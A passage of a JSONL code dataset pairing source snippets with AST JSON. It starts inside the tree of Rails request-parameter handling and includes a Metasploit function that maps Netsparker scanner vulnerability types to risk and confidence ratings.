e\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_header\",{\"type\":\"str\",\"children\":[\"CONTENT_TYPE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[null,\"set_header\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"str\",\"children\":[\"application/x-www-form-urlencoded\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_mime_type\"]},\"to_sym\"]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown Content-Type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_type\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"JSON\"]},\"encode\",{\"type\":\"lvar\",\"children\":[\"non_path_parameters\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"xml\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"non_path_parameters\"]},\"to_xml\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"url_encoded_form\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"non_path_parameters\"]},\"to_query\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@custom_param_parsers\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_mime_type\"]},\"symbol\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"lvar\",\"children\":[\"non_path_parameters\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"non_path_parameters\"]},\"to_query\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data_stream\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"b\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_header\",{\"type\":\"str\",\"children\":[\"CONTENT_LENGTH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_stream\"]},\"length\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"set_header\",{\"type\":\"str\",\"children\":[\"rack.input\"]},{\"type\":\"lvar\",\"children\":[\"data_stream\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_header\",{\"type\":\"str\",\"children\":[\"PATH_INFO\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[null,\"set_header\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"generated_path\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_header\",{\"type\":\"str\",\"children\":[\"ORIGINAL_FULLPATH\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[null,\"set_header\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"send\",\"children\":[null,\"fullpath\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_parameters\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"lvar\",\"children\":[\"controller_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_parameters\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"path_parameters=\",{\"type\":\"lvar\",\"children\":[\"path_parameters\"]}]}]}]}","id":"18b9a97d-803b-439b-8b0f-94d81c32f4e1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/import/netsparker.rb","start_line":199,"raw_source":"def netsparker_vulnerability_map(vuln)\n    res = {\n      :risk => 1,\n      :name  => 'Information Disclosure',\n      :blame => 'System Administrator',\n      :category => 'info',\n      :description => \"This is an information leak\",\n      :confidence => 100\n    }\n\n    # Risk is a value from 1-5 indicating the severity of the issue\n    #\tExamples: 1, 4, 5\n\n    # Name is a descriptive name for this vulnerability.\n    #\tExamples: XSS, ReflectiveXSS, PersistentXSS\n\n    # Blame indicates who is at fault for the vulnerability\n    #\tExamples: App Developer, Server Developer, System Administrator\n\n    # Category indicates the general class of vulnerability\n    #\tExamples: info, xss, sql, rfi, lfi, cmd\n\n    # Description is a textual summary of the vulnerability\n    #\tExamples: \"A reflective cross-site scripting attack\"\n    #             \"The web server leaks the internal IP address\"\n    #             \"The cookie is not set to HTTP-only\"\n\n    #\n    # Confidence is a value from 1 to 100 indicating how confident the\n    # software is that the results are valid.\n    #\tExamples: 100, 90, 75, 15, 10, 0\n\n    case vuln['type'].to_s\n    when \"ApacheDirectoryListing\"\n      res = {\n        :risk => 1,\n        :name  => 'Directory Listing',\n        :blame => 'System Administrator',\n        :category => 'info',\n        :description => \"\",\n        :confidence => 100\n      }\n    when \"ApacheMultiViewsEnabled\"\n      res = {\n        :risk => 1,\n        :name  => 'Apache MultiViews Enabled',\n        :blame => 'System Administrator',\n        :category => 'info',\n        :description => \"\",\n        :confidence => 100\n      }\n    when \"ApacheVersion\"\n      res = {\n        :risk => 1,\n        :name  => 'Web Server Version',\n        :blame => 'System Administrator',\n        :category => 'info',\n        :description => \"\",\n        :confidence => 100\n      }\n    when \"PHPVersion\"\n      res = {\n        :risk => 1,\n        :name  => 'PHP Module Version',\n        :blame => 'System Administrator',\n        :category => 'info',\n        :description => \"\",\n        :confidence => 100\n      }\n    when \"AutoCompleteEnabled\"\n      res = {\n        :risk => 1,\n        :name  => 'Form AutoComplete Enabled',\n        :blame => 'App Developer',\n        :category => 'info',\n        :description => \"\",\n        :confidence => 100\n      }\n    when \"CookieNotMarkedAsHttpOnly\"\n      res = {\n        :risk => 1,\n        :name  => 'Cookie Not HttpOnly',\n        :blame => 'App Developer',\n        :category => 'info',\n        :description => \"\",\n        :confidence => 100\n      }\n    when \"EmailDisclosure\"\n      res = {\n        :risk => 1,\n        :name  => 'Email Address Disclosure',\n        :blame => 'App Developer',\n        :category => 'info',\n        :description => \"\",\n        :confidence => 100\n      }\n    when \"ForbiddenResource\"\n      res = {\n        :risk => 1,\n        :name  => 'Forbidden Resource',\n        :blame => 'App Developer',\n        :category => 'info',\n        :description => \"\",\n        :confidence => 100\n      }\n    when \"FileUploadFound\"\n      res = {\n        :risk => 1,\n        :name  => 'File Upload Form',\n        :blame => 'App Developer',\n        :category => 'info',\n        :description => \"\",\n        :confidence => 100\n      }\n    when \"PasswordOverHTTP\"\n      res = {\n        :risk => 2,\n        :name  => 'Password Over HTTP',\n        :blame => 'App Developer',\n        :category => 'info',\n        :description => \"\",\n        :confidence => 100\n      }\n    when \"MySQL5Identified\"\n      res = {\n        :risk => 1,\n        :name  => 'MySQL 5 Identified',\n        :blame => 'App Developer',\n        :category => 'info',\n        :description => \"\",\n        :confidence => 100\n      }\n    when \"PossibleInternalWindowsPathLeakage\"\n      res = {\n        :risk => 1,\n        :name  => 'Path Leakage - Windows',\n        :blame => 'App Developer',\n        :category => 'info',\n        :description => \"\",\n        :confidence => 100\n      }\n    when \"PossibleInternalUnixPathLeakage\"\n      res = {\n        :risk => 1,\n        :name  => 'Path Leakage - Unix',\n        :blame => 'App Developer',\n        :category => 'info',\n        :description => \"\",\n        :confidence => 100\n      }\n    when \"PossibleXSS\", \"LowPossibilityPermanentXSS\", \"XSS\", \"PermanentXSS\"\n      conf = 100\n      conf = 25  if vuln['type'].to_s == \"LowPossibilityPermanentXSS\"\n      conf = 50  if vuln['type'].to_s == \"PossibleXSS\"\n      res = {\n        :risk => 3,\n        :name  => 'Cross-Site Scripting',\n        :blame => 'App Developer',\n        :category => 'xss',\n        :description => \"\",\n        :confidence => conf\n      }\n\n    when \"ConfirmedBlindSQLInjection\", \"ConfirmedSQLInjection\", \"HighlyPossibleSqlInjection\", \"DatabaseErrorMessages\"\n      conf = 100\n      conf = 90  if vuln['type'].to_s == \"HighlyPossibleSqlInjection\"\n      conf = 25  if vuln['type'].to_s == \"DatabaseErrorMessages\"\n      res = {\n        :risk => 5,\n        :name  => 'SQL Injection',\n        :blame => 'App Developer',\n        :category => 'sql',\n        :description => \"\",\n        :confidence => conf\n      }\n    else\n    conf = 100\n    res = {\n      :risk => 1,\n      :name  => vuln['type'].to_s,\n      :blame => 'App Developer',\n      :category => 'info',\n      :description => \"\",\n      :confidence => conf\n    }\n    end\n\n    res\n  end","complexity_score":84.3,"ast_json":"{\"type\":\"def\",\"children\":[\"netsparker_vulnerability_map\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vuln\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Information Disclosure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"System Administrator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"This is an information leak\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"to_s\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ApacheDirectoryListing\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Directory Listing\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"System Administrator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ApacheMultiViewsEnabled\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Apache MultiViews Enabled\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"System Administrator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ApacheVersion\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Web Server Version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"System Administrator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PHPVersion\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"PHP Module Version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"System Administrator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"AutoCompleteEnabled\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Form AutoComplete Enabled\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"App Developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"CookieNotMarkedAsHttpOnly\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Cookie Not HttpOnly\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"App Developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"EmailDisclosure\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Email Address Disclosure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"App Developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ForbiddenResource\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Forbidden Resource\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"App Developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"FileUploadFound\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"File Upload Form\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"App Developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PasswordOverHTTP\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Password Over HTTP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"App Developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"MySQL5Identified\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"MySQL 5 Identified\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"App Developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PossibleInternalWindowsPathLeakage\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Path Leakage - Windows\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"App Developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PossibleInternalUnixPathLeakage\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Path Leakage - Unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"App Developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PossibleXSS\"]},{\"type\":\"str\",\"children\":[\"LowPossibilityPermanentXSS\"]},{\"type\":\"str\",\"children\":[\"XSS\"]},{\"type\":\"str\",\"children\":[\"PermanentXSS\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"LowPossibilityPermanentXSS\"]}]},{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"int\",\"children\":[25]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"PossibleXSS\"]}]},{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"int\",\"children\":[50]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"App Developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"xss\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"lvar\",\"children\":[\"conf\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ConfirmedBlindSQLInjection\"]},{\"type\":\"str\",\"children\":[\"ConfirmedSQLInjection\"]},{\"type\":\"str\",\"children\":[\"HighlyPossibleSqlInjection\"]},{\"type\":\"str\",\"children\":[\"DatabaseErrorMessages\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"HighlyPossibleSqlInjection\"]}]},{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"int\",\"children\":[90]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"DatabaseErrorMessages\"]}]},{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"int\",\"children\":[25]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"children\":[\"App Developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"sql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"lvar\",\"children\":[\"conf\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blame\"]},{\"type\":\"str\",\"child